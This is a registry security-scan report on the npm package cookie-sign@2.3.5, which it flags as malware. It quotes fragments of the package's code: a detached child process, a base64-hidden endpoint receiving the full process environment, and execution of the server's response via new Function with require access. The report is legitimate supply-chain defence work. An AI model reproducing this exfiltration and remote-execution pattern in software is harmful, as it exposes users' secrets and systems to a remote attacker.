registry / cookie-sign / 2.3.5

cookie-sign@2.3.5

This document describes the management of vulnerabilities for the project and all modules within the organization.

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Importing the package is inert, but calling its exported middleware starts a detached Node child. That child sends environment data to a concealed remote endpoint and executes server-supplied JavaScript with `require` access.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Application code invokes the exported middleware from `index.js`.

Impact

Remote operator can receive environment data and run arbitrary Node code in the consuming application's context.

Mechanism

Detached environment exfiltration followed by remote code execution.

Attack narrative

A consumer that calls the exported middleware triggers `index.js` to spawn and detach `lib/initializeCaller.js`. The child decodes a hard-coded endpoint, POSTs its environment object, then compiles the HTTP response with `new Function` and invokes it with `require`. This gives the endpoint operator a staged payload channel that can load filesystem, process, or network modules and execute arbitrary code outside the caller's visible request flow.

Rationale

Direct inspection confirms a concrete runtime exfiltration and remote-code-execution chain, not merely suspicious primitives. Absence of install hooks limits the trigger to middleware invocation but does not mitigate the malicious behavior.

Evidence

package.jsonindex.jslib/initializeCaller.js

Network endpoints1

ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js` exports middleware that always spawns `lib/initializeCaller.js` when invoked.
`lib/initializeCaller.js` decodes and POSTs to `https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df`.
The POST body is `{ ...process.env }`, harvesting the initializer's configured environment values.
Remote response text is executed through `new Function("require", response.data)` with Node `require` access.
The child is detached, ignores stdio, and is unrefed, hiding activity from the caller.

Evidence against

`package.json` defines no preinstall, install, or postinstall lifecycle hook.
No source evidence of AI-agent control-surface mutation was found.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 17 file(s), 53.3 KB of source, external domains: github.com

Source & flagged code

7 flagged

index.jsView file

Lines 1-23javascript

1'use strict';

3const path = require('path');

4const { spawn } = require('child_process');

5const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L3

7const { pid } = process;

9const defaultOptions = {

10 levelComparison: SORTING_ORDER.ASC,

11 levels: DEFAULT_LEVELS,

12 messageKey: 'msg',

13 errorKey: 'err',

14 nestedKey: null,

15 enabled: true,

16 base: { pid },

17 formatters: Object.assign(Object.create(null), {

18 bindings(bindings) {

19 return bindings;

20 }

21 }),

22 hooks: {

23 logMethod: undefined,

•matchType = malicious_source_fingerprint_signature signature = 3522c2fe164c56ca signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = chai-as-doc@2.3.5 matchedPath = index.js matchedIdentity = npm:Y2hhaS1hcy1kb2M:2.3.5 similarity = 1.000 shingleOverlap = 12 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

lib/initializeCaller.jsView file

Lines 1-48javascript

1"use strict";

3const axios = require("axios");

4const process = {

5 env: {

6 DEV_API_KEY: "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzZjMWQ2MGQzNTg1MmVmMGMwNWRm",

7 DEV_SECRET_KEY: "eC1zZWNyZXQta2V5",

docs/transports.mdView file

Lines 530-570markdown

530### @openobserve/pino-openobserve

531

532[@openobserve/pino-openobserve](https://github.com/openobserve/pino-openobserve) is a

533Pino v7+ transport that will send logs to an

534[OpenObserve](https://openobserve.ai) instance.

535

536```

537const pino = require('pino');

538const OpenobserveTransport = require('@openobserve/pino-openobserve');

539

Source & flagged code

7 flagged · loading source

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

3Cross-file remote execution chain: index.js spawns lib/initializeCaller.js; helper contains network access plus dynamic code execution. L3: const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); ... L37: function runBackgroundTask(args) { L38: const scriptPath = path.resolve(__dirname, './lib/initializeCaller.js'); L39:

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L3

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

lib/initializeCaller.jsView file

28.then(response => { L29: const executor = new Function("require", response.data); L30: executor(require);

High

Eval

Package source references dynamic code evaluation.

lib/initializeCaller.jsView on unpkg · L28

13const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); L15: const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE); ... L22: L23: await axios.post( L24: apiEndpoint, ... L28: .then(response => { L29: const executor = new Function("require", response.data); L30: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L13

2L3: const axios = require("axios"); L4: const process = { ... L12: (async function initializeCaller(..._args) { L13: const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); ... L22: L23: await axios.post( L24: apiEndpoint, ... L28: .then(response => { L29: const executor = new Function("require", response.data); L30: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Findings

6 High3 Medium3 Low

HighChild Processindex.js

HighEvallib/initializeCaller.js

HighSame File Env Network Executionlib/initializeCaller.js

HighCross File Remote Execution Contextindex.js

HighBase64 Obscured Urllib/initializeCaller.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

MediumEnvironment Vars

MediumSecret Patterndocs/transports.md

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Source & flagged code

7 flagged

index.jsView file

Lines 1-23javascript

1'use strict';

3const path = require('path');

4const { spawn } = require('child_process');

5const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L3

7const { pid } = process;

9const defaultOptions = {

10 levelComparison: SORTING_ORDER.ASC,

11 levels: DEFAULT_LEVELS,

12 messageKey: 'msg',

13 errorKey: 'err',

14 nestedKey: null,

15 enabled: true,

16 base: { pid },

17 formatters: Object.assign(Object.create(null), {

18 bindings(bindings) {

19 return bindings;

20 }

21 }),

22 hooks: {

23 logMethod: undefined,

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

lib/initializeCaller.jsView file

Lines 1-48javascript

1"use strict";

3const axios = require("axios");

4const process = {

5 env: {

6 DEV_API_KEY: "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzZjMWQ2MGQzNTg1MmVmMGMwNWRm",

7 DEV_SECRET_KEY: "eC1zZWNyZXQta2V5",

docs/transports.mdView file

Lines 530-570markdown

530### @openobserve/pino-openobserve

531

532[@openobserve/pino-openobserve](https://github.com/openobserve/pino-openobserve) is a

533Pino v7+ transport that will send logs to an

534[OpenObserve](https://openobserve.ai) instance.

535

536```

537const pino = require('pino');

538const OpenobserveTransport = require('@openobserve/pino-openobserve');

539